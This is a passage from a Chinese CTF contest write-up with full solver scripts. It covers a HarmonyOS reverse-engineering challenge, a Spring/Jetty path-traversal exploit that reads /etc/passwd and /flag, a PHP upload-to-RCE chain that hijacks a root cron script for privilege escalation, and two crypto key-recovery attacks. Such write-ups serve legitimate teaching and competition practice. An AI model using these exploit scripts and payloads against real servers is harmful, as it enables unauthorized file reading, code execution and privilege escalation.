    control_words = list(struct.unpack("<8I", control))
    tail = control_words[7]
    xxtea_key = [control_words[i + 1] ^ rol32(tail, 5 * i + 1) for i in range(4)]
    delta = control_words[5] ^ 0x9E3779B9
    salt = control_words[6]

    leaf_a = [struct.unpack_from("<I", decoded, 54 + 4 * i)[0] for i in range(18)]
    leaf_b = [struct.unpack_from("<I", decoded, 126 + 4 * i)[0] for i in range(18)]
    note = p3(leaf_a, leaf_b)
    plain = p4_decrypt(note, delta, salt, xxtea_key)
    plain_words = list(struct.unpack("<18I", plain.ljust(72, b"\0")))
    assert p4_encrypt(plain_words, delta, salt, xxtea_key) == note

    text = plain.decode("ascii")
    flag = text.split("|", 1)[0]
    print(f"plaintext   : {text}")
    print(f"FLAG        : {flag}")


if __name__ == "__main__":
    main()

7. RE3 / 云栈密令

核心思路

题目是 HarmonyOS HAP 包。ArkTS 侧从 cloud.profile 读取 cloud.wind 并派生 seed,然后调用 native 层 CloudSeal_NativeCheck。native 层检查 flag{UUID} 格式,并对 UUID 字节做 S-box 和 128 位仿射变换。直接逆仿射变换即可恢复 UUID。

关键步骤

  1. HAP 可按 zip 解包,关键文件:
ets/modules.abc.pa
resources/base/profile/cloud.profile
libs/arm64-v8a/libcloudseal.so
  1. ArkTS 侧逻辑:
checkCloudSeal(input):
    read resources/base/profile/cloud.profile
    read key cloud.wind
    seed = deriveWindSeed(profileHex)
    native.CloudSeal_NativeCheck(input, seed)
  1. 真实 cloud.wind:
3f0a9cc14d62e837b5f19a047bd2c6e0
  1. 派生 seed 使用固定置换、异或、加法和 ror8。
  2. native 校验先把 32 个 UUID hex 字符解析为 16 字节,再做:
stage1[i] = sbox[uuid[pidx[i]] ^ const[i] ^ seed[i]]
  1. 第二阶段是 128 位仿射变换。用 Unicorn 执行 native 机器码,将该阶段当黑盒:
  • 全 0 输入得到偏移;
  • 128 个基向量构造矩阵;
  • GF(2) 高斯消元求出目标 stage1。
  1. 反 S-box、反置换并异或 seed/const,得到 UUID。

复现

cd "D:\Users\Lenovo\Desktop\黄鹤杯\RE3"
python -m pip install unicorn pyelftools
python .\solve.py

Flag

flag{f35b8ad6-2c51-4a85-93c0-0e6279347b1a}

完整 EXP

D:\Users\Lenovo\Desktop\黄鹤杯\RE3\solve.py

import io
import json
import zipfile
from pathlib import Path

from elftools.elf.elffile import ELFFile
from unicorn import Uc, UC_ARCH_ARM64, UC_HOOK_CODE, UC_MODE_ARM, UC_PROT_EXEC, UC_PROT_READ, UC_PROT_WRITE
from unicorn.arm64_const import *


def ror8(x, r):
    r &= 7
    x &= 0xff
    if r == 0:
        return x
    return ((x >> r) | ((x << (8 - r)) & 0xff)) & 0xff


def derive_seed(profile):
    order = [9, 0, 14, 5, 2, 11, 7, 12, 1, 15, 4, 10, 3, 8, 13, 6]
    xorv = [
        0x42, 0x17, 0xC3, 0x5A, 0x99, 0x21, 0xE4, 0x0D,
        0xB6, 0x78, 0x34, 0xAA, 0x6F, 0xC0, 0x11, 0x5D,
    ]
    seed = []
    for i in range(16):
        v = profile[order[i]] ^ xorv[i]
        v = (v + 0x31 + i * 13) & 0xff
        seed.append(ror8(v, (i + 3) & 7))
    return bytes(seed)


def find_hap():
    here = Path(__file__).resolve().parent
    hits = sorted(here.rglob("CloudSeal.hap"))
    if hits:
        return hits[0]
    hits = sorted(here.rglob("*.hap"))
    if hits:
        return hits[0]
    raise FileNotFoundError("CloudSeal.hap not found")


def load_hap():
    with zipfile.ZipFile(find_hap()) as zf:
        profile = json.loads(zf.read("resources/base/profile/cloud.profile").decode())
        so = zf.read("libs/arm64-v8a/libcloudseal.so")
    return profile, so


class NativeStage2:
    def __init__(self, so):
        self.so = so
        self.segments = []
        with ELFFile(io.BytesIO(so)) as elf:
            for seg in elf.iter_segments():
                if seg["p_type"] == "PT_LOAD":
                    self.segments.append(
                        (
                            seg["p_vaddr"],
                            seg["p_memsz"],
                            seg["p_filesz"],
                            seg["p_offset"],
                        )
                    )

    def make_uc(self):
        uc = Uc(UC_ARCH_ARM64, UC_MODE_ARM)
        page = 0x1000
        for vaddr, memsz, filesz, off in self.segments:
            start = vaddr & ~(page - 1)
            end = (vaddr + memsz + page - 1) & ~(page - 1)
            uc.mem_map(start, end - start, UC_PROT_READ | UC_PROT_WRITE | UC_PROT_EXEC)
            uc.mem_write(vaddr, self.so[off:off + filesz])
        return uc

    def run_stage2(self, stage1):
        uc = self.make_uc()
        stack = 0x70000000
        uc.mem_map(stack, 0x20000, UC_PROT_READ | UC_PROT_WRITE)
        sp = stack + 0x10000 - 0x70
        uc.mem_write(sp + 0x10, stage1)
        uc.reg_write(UC_ARM64_REG_SP, sp)
        uc.reg_write(UC_ARM64_REG_X8, 0x450)

        def stop_at_result(uc, address, size, _):
            if address == 0x10B6C:
                uc.emu_stop()

        uc.hook_add(UC_HOOK_CODE, stop_at_result)
        uc.emu_start(0x108B0, 0x10B6C, timeout=1000000, count=100000)
        return bytes(uc.mem_read(sp, 16))


def solve_affine_stage2(native, target):
    zero = native.run_stage2(bytes(16))
    columns = []
    for bit in range(128):
        vec = bytearray(16)
        vec[bit // 8] = 1 << (bit % 8)
        out = native.run_stage2(bytes(vec))
        columns.append(bytes(a ^ b for a, b in zip(out, zero)))

    rhs = int.from_bytes(bytes(a ^ b for a, b in zip(target, zero)), "little")
    rows = []
    for out_bit in range(128):
        coeff = 0
        byte_i = out_bit // 8
        mask = 1 << (out_bit % 8)
        for var_i, column in enumerate(columns):
            if column[byte_i] & mask:
                coeff |= 1 << var_i
        rows.append(coeff | (((rhs >> out_bit) & 1) << 128))

    rank = 0
    pivots = []
    for col in range(128):
        pivot = None
        for row in range(rank, 128):
            if (rows[row] >> col) & 1:
                pivot = row
                break
        if pivot is None:
            continue
        rows[rank], rows[pivot] = rows[pivot], rows[rank]
        for row in range(128):
            if row != rank and ((rows[row] >> col) & 1):
                rows[row] ^= rows[rank]
        pivots.append(col)
        rank += 1

    if rank != 128:
        raise RuntimeError(f"stage2 matrix rank is {rank}, expected 128")

    value = 0
    for row, col in enumerate(pivots):
        if (rows[row] >> 128) & 1:
            value |= 1 << col
    return value.to_bytes(16, "little")


def main():
    profile, so = load_hap()

    # modules.abc.pa says checkCloudSeal reads cloud.wind before calling native.
    seed = derive_seed(bytes.fromhex(profile["cloud.wind"]))

    target = so[0x2E0:0x2F0]
    native = NativeStage2(so)
    stage1 = solve_affine_stage2(native, target)

    sbox = so[0x350:0x450]
    inv_sbox = [0] * 256
    for i, value in enumerate(sbox):
        inv_sbox[value] = i

    tab590 = so[0x590:0x5A0]
    tab5a0 = so[0x5A0:0x5B0]
    uuid_bytes = [0] * 16
    for i, value in enumerate(stage1):
        idx = (ror8(tab590[i], (i + 0x43) & 7) ^ ((i * 0x49 - 0x65) & 0xff)) & 0xff
        const = (ror8(tab5a0[i], (i + 0x53) & 7) ^ ((i * 0x49 + 0x172B) & 0xff)) & 0xff
        uuid_bytes[idx] = inv_sbox[value] ^ const ^ seed[i]

    h = bytes(uuid_bytes).hex()
    print(f"flag{{{h[:8]}-{h[8:12]}-{h[12:16]}-{h[16:20]}-{h[20:]}}}")


if __name__ == "__main__":
    main()

8. WEB1 / Spring 静态资源路径穿越

核心思路

首页提示 Spring、静态资源和 URI 解析差异。目标存在 Jetty/Spring 对非 ASCII URI 路径解释不一致的问题,可利用 CVE-2025-41242 类路径穿越读取任意文件。常规 %2e%2e 被拦截,但请求行中保留原始中文 UTF-8 路径段,并对目标文件最后一个字符做百分号编码,可以绕过解析差异读取 /flag。

关键步骤

  1. /error 返回 Spring JSON,//badURI 触发 Jetty ambiguous URI 校验,确认 Jetty/Spring 场景。
  2. 构造多个原始中文路径段:
阮严灵丰丰甲来
  1. 验证读取 /etc/passwd,把最后一个字符 d 编码为 %64:
GET /阮严灵丰丰甲来/.../etc/passw%64 HTTP/1.1
  1. 读取 /flag,把 g 编码为 %67:
GET /阮严灵丰丰甲来/阮严灵丰丰甲来/阮严灵丰丰甲来/阮严灵丰丰甲来/阮严灵丰丰甲来/阮严灵丰丰甲来/阮严灵丰丰甲来/fla%67 HTTP/1.1

复现

cd "D:\Users\Lenovo\Desktop\黄鹤杯\WEB1"
python .\solve.py

Flag

flag{97a08384-8adf-45e8-819f-485b8feda3a0}

完整 EXP

D:\Users\Lenovo\Desktop\黄鹤杯\WEB1\solve.py

#!/usr/bin/env python3
import socket
import sys

HOST = sys.argv[1] if len(sys.argv) > 1 else "119.36.240.223"
PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 42073
TARGET_FILE = sys.argv[3] if len(sys.argv) > 3 else "/flag"

SEGMENT = "阮严灵丰丰甲来"
REPEAT = 7
TIMEOUT = 8


def encode_last_char(path: str) -> str:
    """Encode the final path byte; this keeps Spring/Jetty in the vulnerable path."""
    if not path or path.endswith("/"):
        return path
    last = path[-1]
    if ord(last) > 0x7f:
        raise ValueError("TARGET_FILE should end with an ASCII character")
    return path[:-1] + f"%{ord(last):02x}"


def fetch_file(target_file: str) -> tuple[str, bytes, str]:
    prefix = "/" + "/".join([SEGMENT] * REPEAT)
    raw_path = prefix + encode_last_char(target_file)
    req = (
        f"GET {raw_path} HTTP/1.1\r\n"
        f"Host: {HOST}:{PORT}\r\n"
        "Connection: close\r\n"
        "\r\n"
    ).encode("utf-8")

    chunks = []
    with socket.create_connection((HOST, PORT), timeout=TIMEOUT) as sock:
        sock.settimeout(TIMEOUT)
        sock.sendall(req)
        while True:
            try:
                chunk = sock.recv(8192)
            except socket.timeout:
                break
            if not chunk:
                break
            chunks.append(chunk)

    response = b"".join(chunks)
    header, _, body = response.partition(b"\r\n\r\n")
    status = header.split(b"\r\n", 1)[0].decode("latin1", "replace") if header else "NO HTTP RESPONSE"
    return status, body, raw_path


if __name__ == "__main__":
    status, body, raw_path = fetch_file(TARGET_FILE)
    print(f"[+] path: {raw_path}")
    print(f"[+] status: {status}")
    print(body.decode("utf-8", "replace"), end="")

9. WEB2 / ezz_upload

核心思路

题目是 PHP 主题包上传与预览系统。合法主题包允许包含 preview.tpl,服务端预览时直接 include 该模板,导致 PHP 代码执行。拿到 ctf 用户 RCE 后发现 /flag 仅 root 可读,再利用 root 周期执行且 ctf 组可写的维护脚本提权读取 flag。

关键步骤

  1. 下载 demo 主题包,确认合法结构:
manifest.json
preview.tpl
assets/cover.png
  1. manifest.json 至少包含:
{
  "title": "Exploit Theme",
  "author": "ops",
  "version": "1.0.0",
  "tagline": "pwn"
}
  1. 服务端白名单允许 .tpl,而预览逻辑为:
include $themePath . '/preview.tpl';

所以 preview.tpl 中写 PHP 即可 RCE。

  1. 首阶段 payload 写入 root 维护脚本:
<?php
$script = "#!/bin/sh\ncat /flag > /tmp/ezz_flag 2>/tmp/ezz_err\nchmod 644 /tmp/ezz_flag\nchmod 644 /flag\nid > /tmp/ezz_root_id 2>&1\ndate > /tmp/ezz_ran\n";
file_put_contents('/var/lib/.ezz_upload/.maintenance/root-task.sh', $script);
echo 'STAGE1_OK';
?>
  1. 等待 root 定时任务执行后,再上传第二阶段读取:
<?php
echo shell_exec('ls -l /flag /tmp/ezz_flag /tmp/ezz_root_id /tmp/ezz_ran 2>&1; echo ---flag---; cat /flag 2>&1; echo ---tmpflag---; cat /tmp/ezz_flag 2>&1; echo ---rootid---; cat /tmp/ezz_root_id 2>&1');
?>
  1. 关键权限证据:
-rw-rw-r-- 1 root ctf ... /var/lib/.ezz_upload/.maintenance/root-task.sh
uid=0(root) gid=0(root) groups=0(root)

复现

题目有验证码,脚本使用 requests + ddddocr + PIL 自动识别并上传。如果 OCR 失败,多跑几次即可。

cd "D:\Users\Lenovo\Desktop\黄鹤杯\WEB2"
python -m pip install requests ddddocr pillow

完整 EXP

D:\Users\Lenovo\Desktop\黄鹤杯\WEB2\exp.py

import io
import json
import pathlib
import re
import time
import urllib.parse
import zipfile

import ddddocr
import requests
from PIL import Image

BASE = "http://119.36.240.224:48619/"


def make_theme_zip(preview_code: str) -> bytes:
    buf = io.BytesIO()

    img = Image.new("RGBA", (16, 16), (20, 120, 200, 255))
    png = io.BytesIO()
    img.save(png, format="PNG")

    with zipfile.ZipFile(buf, "w", zipfile.ZIP_DEFLATED) as zf:
        zf.writestr(
            "manifest.json",
            json.dumps(
                {
                    "title": "Exploit Theme",
                    "author": "ops",
                    "version": "1.0.0",
                    "tagline": "pwn",
                },
                separators=(",", ":"),
            ),
        )
        zf.writestr("preview.tpl", preview_code)
        zf.writestr("assets/cover.png", png.getvalue())

    return buf.getvalue()


def upload_and_preview(zip_bytes: bytes, marker: str, max_attempts: int = 80) -> str:
    ocr = ddddocr.DdddOcr(show_ad=False)

    for attempt in range(1, max_attempts + 1):
        session = requests.Session()
        r = session.get(BASE, timeout=10)
        captcha_id = re.search(r'name="captcha_id" value="([^"]+)"', r.text).group(1)

        img = session.get(f"{BASE}?action=captcha&id={captcha_id}", timeout=10).content
        raw = ocr.classification(img)
        cap = re.sub(r"[^0-9A-Za-z]", "", raw).upper()
        print(f"[{attempt}] captcha {raw!r} -> {cap!r}")
        if not cap:
            continue

        files = {"theme": ("theme.zip", io.BytesIO(zip_bytes), "application/zip")}
        data = {"captcha": cap, "captcha_id": captcha_id}
        up = session.post(
            f"{BASE}?action=upload",
            data=data,
            files=files,
            allow_redirects=False,
            timeout=10,
        )

        loc = urllib.parse.unquote(up.headers.get("Location", ""))
        print("upload:", loc)
        if "ok=1" not in loc:
            continue

        theme = re.search(r"theme=([^&]+)", loc).group(1)
        pv = session.get(f"{BASE}?action=preview&theme={theme}", timeout=10)
        print("preview:", pv.text[:120].replace("\n", "\\n"))
        if marker in pv.text:
            return pv.text

    raise RuntimeError("upload failed too many times")


stage1 = make_theme_zip(
    r"""<?php
$script = "#!/bin/sh\ncat /flag > /tmp/ezz_flag 2>/tmp/ezz_err\nchmod 644 /tmp/ezz_flag 2>/tmp/ezz_err2\nchmod 644 /flag 2>/tmp/ezz_err3\nid > /tmp/ezz_root_id 2>&1\ndate > /tmp/ezz_ran\n";
file_put_contents('/var/lib/.ezz_upload/.maintenance/root-task.sh', $script);
echo 'STAGE1_OK';
?>"""
)

stage2 = make_theme_zip(
    r"""<?php
echo "CHECK_BEGIN\n";
echo shell_exec('ls -l /flag /tmp/ezz_flag /tmp/ezz_root_id /tmp/ezz_ran 2>&1; echo ---flag---; cat /flag 2>&1; echo ---tmpflag---; cat /tmp/ezz_flag 2>&1; echo ---rootid---; cat /tmp/ezz_root_id 2>&1');
echo "\nCHECK_END";
?>"""
)

print(upload_and_preview(stage1, "STAGE1_OK"))
time.sleep(13)
print(upload_and_preview(stage2, "CHECK_BEGIN"))

Flag

flag{4423d8f6-44cc-4dfe-8c38-e09f20d7de55}

Crypto

10.Broken Transcript

题目描述

附件给出 chall.py 与 output.txt。程序生成两枚 1024 bit RSA 素数 p、q,以 e = 65537 加密 flag;输出除了 n、e、c 外,还包含 15 条带 state 标记的仿射同余记录。目标是利用这些记录分解 n 并解密密文。

分析过程

题目代码中的 rand_coprime() 循环取值,直到 a 与行模数 m 互素,因此 a 在模 m 下存在逆元。build_rows() 的前 12 条记录使用

$$
y_i \equiv a_i(p \mathbin{>>} 320)+b_i \pmod {m_i},\qquad state=1。
$$

后 3 条记录则把变量替换为 q >> 320 并标记 state = 0,最后的 shuffle 仅打乱顺序。故直接保留 state = 1 的记录,并计算

$$
h_i \equiv a_i^{-1}(y_i-b_i) \pmod {m_i}。
$$

每个 m_i 约为 61 bit。实际样本中 12 个保留模数的乘积为 731 bit,而 p >> 320 只有约 704 bit;CRT 的结果因此唯一确定 p 的完整高位 H,而不是一个尚有多个可能值的同余类。

令 $B=2^{320}$,把未知素数写成

$$
p=HB+x,\qquad 0\le x<2^{320}。
$$

于是 $f(x)=x+HB$ 在未知因子 $p\mid n$ 模下有一个 320 bit 根。RSA 两个素数同为 1024 bit,故 $p\approx n^{1/2}$;在 Sage 中以 beta=0.5 调用 Coppersmith 小根算法即可恢复 x。随后 gcd(n, HB+x) 得到 p,计算 $q=n/p$、$\phi(n)=(p-1)(q-1)$ 和私钥指数后解密 c。

关键脚本

将下列脚本保存为 solve.sage,并将题目 output.txt 放入同一目录。SageMath 容器环境中可将二者放到 D:\ctf_tools\sagemath\work,执行 D:\ctf_tools\sagemath\run-sage-file-10.7.cmd solve.sage output.txt。

#!/usr/bin/env sage
import json
import sys


def main(path):
    with open(path, "r") as handle:
        data = json.load(handle)

    n = Integer(data["n"])
    e = Integer(data["e"])
    c = Integer(data["c"])
    low_bits = Integer(data["limb_bits"])
    base = Integer(1) << low_bits

    residues = []
    moduli = []
    for row in data["rows"]:
        if row["state"] != 1:
            continue
        modulus = Integer(row["m"])
        residue = ((Integer(row["y"]) - Integer(row["b"]))
                   * inverse_mod(Integer(row["a"]), modulus) % modulus)
        residues.append(residue)
        moduli.append(modulus)

    high = CRT_list(residues, moduli)
    print(f"recovered high limb: {high}")
    print(f"CRT modulus bits: {prod(moduli).nbits()}")

    ring = PolynomialRing(Zmod(n), "x")
    x = ring.gen()
    roots = (x + high * base).small_roots(X=base, beta=0.5)
    if not roots:
        raise RuntimeError("no small root found")

    for root in roots:
        p = gcd(n, high * base + Integer(root))
        if 1 < p < n:
            q = n // p
            phi = (p - 1) * (q - 1)
            message = Integer(pow(c, inverse_mod(e, phi), n))
            plaintext = int(message).to_bytes((message.nbits() + 7) // 8, "big")
            print(f"p = {p}")
            print(f"q = {q}")
            print(f"plaintext = {plaintext!r}")
            return
    raise RuntimeError("returned roots do not factor n")


if __name__ == "__main__":
    if len(sys.argv) != 2:
        raise SystemExit(f"Usage: {sys.argv[0]} output.txt")
    main(sys.argv[1])

实际运行输出为:

recovered high limb: 68909717418054515264328269611199433520478548201078532282844782655634365867806631673773854315526368431670697799097631376322171495984204485736544919356779079770477799039859856208765066551023509620239657228663687544
CRT modulus bits: 731
plaintext = b'flag{0d1bff25-71f5-480f-bfd3-e5839d12274b}'

因此得到 flag:flag{0d1bff25-71f5-480f-bfd3-e5839d12274b}。

11.格中余响

题目描述

压缩包包含 verifier.py、public.json、signatures.jsonl 和 leakage.bin。公开参数为 n = 64、q = 8380417、k = l = 2、tau = 12、low_bits = 8、samples = 96、leaks_per_signature = 40、noise_flips = 17。目标是恢复秘密向量 s,使 open_sealed() 能认证并解封 sealed 字段。

分析过程

Ring.mul() 实现环 $\mathbb{Z}_q[X]/(X^{64}+1)$ 的负循环卷积:若下标之和达到 64,则该乘积项带负号回绕。expand_matrix() 使用 rho 和 SHAKE-256 展开 $2\times2$ 多项式矩阵 $A$;sparse_challenge() 对消息哈希构造恰有 12 个非零项、系数为 $\pm1$ 的挑战多项式 $c$。

verify_signature() 对每份签名计算

$$
w=Az-ct
$$

并比较 w 的紧凑 JSON 编码哈希。serialize_s() 把两个 64 系数秘密多项式按有符号字节拼接,derive_seed() 对其哈希,open_sealed() 再以该种子派生 HMAC 密钥和 SHAKE-256 异或流。故能通过 sealed 中 16 字节 HMAC 标签的 s 就是可验证的正确状态。

parse_leakage() 以 <HBBH 解析泄露文件,字段依次为:

(签名编号:uint16, 多项式编号:uint8, 系数编号:uint8, 泄露值:uint16)

leakage.bin 共 23040 字节,即 23040 / 6 = 3840 条记录,正好对应 96 * 40。将每条记录与对应签名的 z[poly][coefficient] 对齐后,(z - leak) mod 256 集中在很小的有符号范围内,而非均匀随机字节。结合公开的 17 条噪声,这说明泄露的是采样 nonce y 的低 8 bit。

签名关系为 $z=y+cs$,因而每条泄露给出

$$
(cs)_j \equiv z_j-\operatorname{leak}(y_j) \pmod {256}。
$$

秘密共有 2 * 64 = 128 个系数,且 eta = 2,每个正确系数只能属于 $-2,-1,0,1,2$。对给定的挑战多项式和指定系数位置,可以按照 Ring.mul() 的负循环规则写出一个仅含 12 个左右非零项的线性方程。每条方程只涉及两个秘密多项式中的一个,因此分别为两个 64 维块抽取 64 条方程,在 $\mathbb{Z}/256\mathbb{Z}$ 上求解。

随机抽取的系统可能包含噪声。候选解必须先满足所有系数落入 [-2, 2],再与全部 3840 条记录比对;正确候选应当恰好错开 17 条。最后以 open_sealed() 的 HMAC 校验验证候选,不依赖仅凭方程数目作出的推测。

关键脚本

将下列脚本保存为 solve_gezhong.sage,把解压后的四个题目文件放入同一目录后执行 D:\ctf_tools\sagemath\run-sage-file-10.7.cmd solve_gezhong.sage challenge-directory。在 SageMath 容器环境中,该目录应位于 D:\ctf_tools\sagemath\work 下。

#!/usr/bin/env sage
import base64
import hashlib
import hmac
import json
import operator
import random
import struct
import sys
from pathlib import Path

MOD = 256


def sparse_challenge(message, n, q, tau):
    stream = hashlib.shake_256(message + b"|challenge").digest(512)
    used, c, offset = set(), [0] * n, 0
    while len(used) < tau:
        position = stream[offset] % n
        offset += 1
        if position in used:
            continue
        used.add(position)
        c[position] = 1 if (stream[offset] & 1) == 0 else -1
        offset += 1
    return c


def convolution_row(challenge, coefficient, poly, n, ell):
    row = [0] * (n * ell)
    for challenge_index, sign in enumerate(challenge):
        if sign == 0:
            continue
        secret_index = (coefficient - challenge_index) % n
        if challenge_index > coefficient:
            sign = -sign
        row[poly * n + secret_index] += sign
    return row


def decrypt(public, secret):
    serialized = b"".join(
        int(value).to_bytes(1, "little", signed=True)
        for polynomial in secret for value in polynomial
    )
    seed = hashlib.sha256(serialized + b"|ge-zhong-yu-xiang|v1").digest()
    blob = base64.b64decode(public["sealed"])
    salt, tag, ciphertext = blob[4:20], blob[20:36], blob[36:]
    mac_key = hashlib.sha256(seed + salt + b"|mac").digest()
    expected = hmac.new(mac_key, salt + ciphertext, hashlib.sha256).digest()[:16]
    if not hmac.compare_digest(tag, expected):
        return None
    stream = hashlib.shake_256(seed + salt + b"|stream").digest(len(ciphertext))
    return bytes(operator.xor(left, right) for left, right in zip(ciphertext, stream))


def main(directory):
    directory = Path(directory)
    public = json.loads((directory / "public.json").read_text())
    signatures = [json.loads(line) for line in
                  (directory / "signatures.jsonl").read_text().splitlines() if line]
    raw = (directory / "leakage.bin").read_bytes()
    leaks = [struct.unpack("<HBBH", raw[offset:offset + 6])
             for offset in range(0, len(raw), 6)]

    n, ell, q, tau = (public[key] for key in ("n", "l", "q", "tau"))
    rows, values = [], []
    for signature_index, polynomial, coefficient, leak in leaks:
        signature = signatures[signature_index]
        message = base64.b64decode(signature["msg"])
        challenge = sparse_challenge(hashlib.sha256(message).digest(), n, q, tau)
        rows.append(convolution_row(challenge, coefficient, polynomial, n, ell))
        values.append((signature["z"][polynomial][coefficient] - leak) % MOD)

    rng = random.Random(int("1197101400"))
    ring = Zmod(MOD)
    indices = [[i for i, leak in enumerate(leaks) if leak[1] == poly]
               for poly in range(ell)]
    for attempt in range(1, 1001):
        selected = [i for poly in range(ell) for i in rng.sample(indices[poly], n)]
        matrix = Matrix(ring, [rows[i] for i in selected])
        try:
            candidate = matrix.solve_right(vector(ring, [values[i] for i in selected]))
        except ValueError:
            continue

        centered = [int(value) if int(value) <= 2 else int(value) - MOD
                    for value in candidate]
        if any(value < -2 or value > 2 for value in centered):
            continue

        agreements = sum(
            sum(row_value * secret_value for row_value, secret_value in zip(row, candidate))
            % MOD == value
            for row, value in zip(rows, values)
        )
        print(f"attempt={attempt}, agreements={agreements}/{len(rows)}")
        secret = [centered[i * n:(i + 1) * n] for i in range(ell)]
        plaintext = decrypt(public, secret)
        if plaintext is not None:
            print(f"secret = {secret}")
            print(f"plaintext = {plaintext!r}")
            return
    raise RuntimeError("failed to recover a valid secret")


if __name__ == "__main__":
    if len(sys.argv) != 2:
        raise SystemExit(f"Usage: {sys.argv[0]} challenge-directory")
    main(sys.argv[1])

实际运行得到:

attempt=51, agreements=3823/3840
plaintext = b'flag{4b05fe1b-6cbb-4513-87a9-e3b643f75a2c}'

3823 = 3840 - 17,与公开参数 noise_flips = 17 完全一致;且脚本仅在 HMAC 校验成功后打印明文。因此 flag 为 flag{4b05fe1b-6cbb-4513-87a9-e3b643f75a2c}。